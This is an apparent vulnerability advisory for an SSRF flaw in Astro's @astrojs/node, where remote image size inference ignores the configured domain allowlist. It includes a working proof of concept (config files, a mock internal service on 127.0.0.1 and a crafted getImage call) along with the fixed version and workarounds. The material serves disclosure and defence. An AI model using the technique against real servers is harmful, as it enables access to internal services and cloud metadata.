CVE-2026-27829 is a medium-severity (CVSS 6.5) Server-Side Request Forgery (SSRF) vulnerability in @astrojs/node. A fix is available for @astrojs/node — see the affected versions and patch details below.
Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27829.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@astrojs/nodenpmDescription
Summary
A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.
Details
Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).
However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.
PoC
<details>Setup
Create a new Astro project with the following files:
package.json:
{
"name": "poc-ssrf-infersize",
"private": true,
"scripts": {
"dev": "astro dev --port 4322",
"build": "astro build"
},
"dependencies": {
"astro": "5.17.2",
"@astrojs/node": "9.5.3"
}
}
astro.config.mjs — only localhost:9000 is authorized:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ hostname: 'localhost', port: '9000' }
]
}
});
internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):
import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));
src/pages/test.astro:
---
import { getImage } from 'astro:assets';
const result = await getImage({
src: 'http://127.0.0.1:8888/internal-api',
inferSize: true,
alt: 'test'
});
---
<html><body>
<p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>
Steps to reproduce
- Run
npm installand start the internal service:
node internal-service.mjs
- Start the dev server:
npm run dev
- Request the page:
curl http://localhost:4322/test
internal-service.mjslogsReceived: GET /internal-api— the request was sent to127.0.0.1:8888despite onlylocalhost:9000being in the allowlist.
Impact
Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @astrojs/node | ≥ 9.0.0&&< 9.5.4 | 9.5.4npm install @astrojs/node@9.5.4 |
Affected Products
\@astrojs\/nodeastroDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @astrojs/node, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @astrojs/node to 9.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27829 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2026-27829 in your dependencies?
Find it across npm, including transitive dependencies.